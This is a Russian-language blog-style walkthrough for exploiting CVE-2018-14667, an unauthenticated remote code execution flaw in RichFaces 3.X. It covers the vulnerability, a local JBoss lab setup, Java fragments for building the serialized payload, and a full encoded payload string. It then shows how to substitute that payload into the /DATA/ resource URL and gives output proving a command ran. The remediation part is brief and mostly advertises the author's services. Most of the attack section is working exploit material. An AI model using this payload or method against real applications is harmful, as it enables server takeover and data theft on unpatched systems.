
Все о CVE-2018-14667; от того, что это такое, до того, как успешно его эксплуатировать.
Потратив много времени на понимание и корректную эксплуатацию этой уязвимости CVE, я решил создать репозиторий с ошибкой RCE в RichFaces 3.X и поделиться пошаговым руководством с сообществом.
0x00 : Введение в ошибку RichFaces 3.X
В понедельник, 19 ноября, Жоау Ф.М. Фигейреду опубликовал хорошо детализированную статью (https://seclists.org/fulldisclosure/2018/Nov/47) о критической уязвимости высокого риска в RichFaces.
CVSS3 Базовая оценка: 9.8
Эта уязвимость позволит любому неаутентифицированному пользователю выполнить удалённый код на любом веб-приложении, использующем RichFaces 3.X (все версии), что является наихудшим сценарием.
0x01 : Затрагивает ли это меня? ![]()
Что ж, если вы используете RichFaces 3.X (любую версию RichFaces 3) и видите в своём исходном коде следующие элементы, весьма вероятно, что вы уязвимы для удалённого выполнения кода через CVE-2018-14667:
0x02 : Запуск уязвимой среды для тестирования ошибки ![]()
Я в основном повторно объясню то, что уже было освещено в статье на seclists.org, о том, как развернуть уязвимую среду.
0x03 : Генерация корректной полезной нагрузки ![]()
Теперь самое интересное! Именно здесь у меня возникли трудности, поэтому я подробно объясню, как сгенерировать корректную полезную нагрузку, не повторяя моих ошибок. Сначала рекомендую использовать Eclipse для компиляции полезной нагрузки.
// Class clazz = Class.forName("javax.el.MethodExpression");
// Field field = clazz.getField("serialVersionUID");
// field.setAccessible(true);
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setAccessible(true);
// modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// field.setLong(null, MethodExpressionSerialVersionUID);
Результат в Eclipse должен выглядеть примерно так:
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf
0x04 : Отправка полезной нагрузки и получение удалённого выполнения кода ![]()
Перейдите в браузере на ваш локальный сервер JBoss, запускающий веб-приложение PhotoAlbum: http://192.168.100.2:8080/photoalbum, щёлкните правой кнопкой мыши и выберите "Просмотреть исходный код страницы". Нажмите Ctrl+F и найдите '/DATA/'. Вы должны увидеть нечто похожее на это:
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip"
Вы чётко видите сериализованный объект. Именно здесь мы заменим сериализованный объект нашей полезной нагрузкой, чтобы получить удалённое выполнение кода. В браузере измените URL на http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/ВАША-ПОЛЕЗНАЯ-НАГРУЗКА-СГЕНЕРИРОВАННАЯ-В-ECLIPSE. Моя полезная нагрузка выполняла команду 'touch /tmp/PoorRichFaces'. Посмотрим, был ли у меня успех:
drwxrwxrwt 12 root root 32768 Nov 30 01:45 .
drwxr-xr-x 25 root root 4096 Nov 25 12:57 ..
-rw-rw-r-- 1 syrius syrius 0 Nov 30 1:27 PoorRichFaces
Приятно, не правда ли? Мы только что получили RCE на Java-веб-приложении, работающем на RichFaces 3.X.
0x05 : Как исправить? ![]()
Вам это может не понравиться, так что приготовьтесь и держитесь за клавиатуру; RichFaces достиг конца жизненного цикла поддержки своего продукта, поэтому пользователи (вы) должны применить собственное исправление. Не паникуйте, если не сможете найти способ исправить уязвимость, не стесняйтесь связаться со мной, мы можем договориться о том, чтобы я исправил ваши Java-веб-приложения.
Электронная почта: [email protected]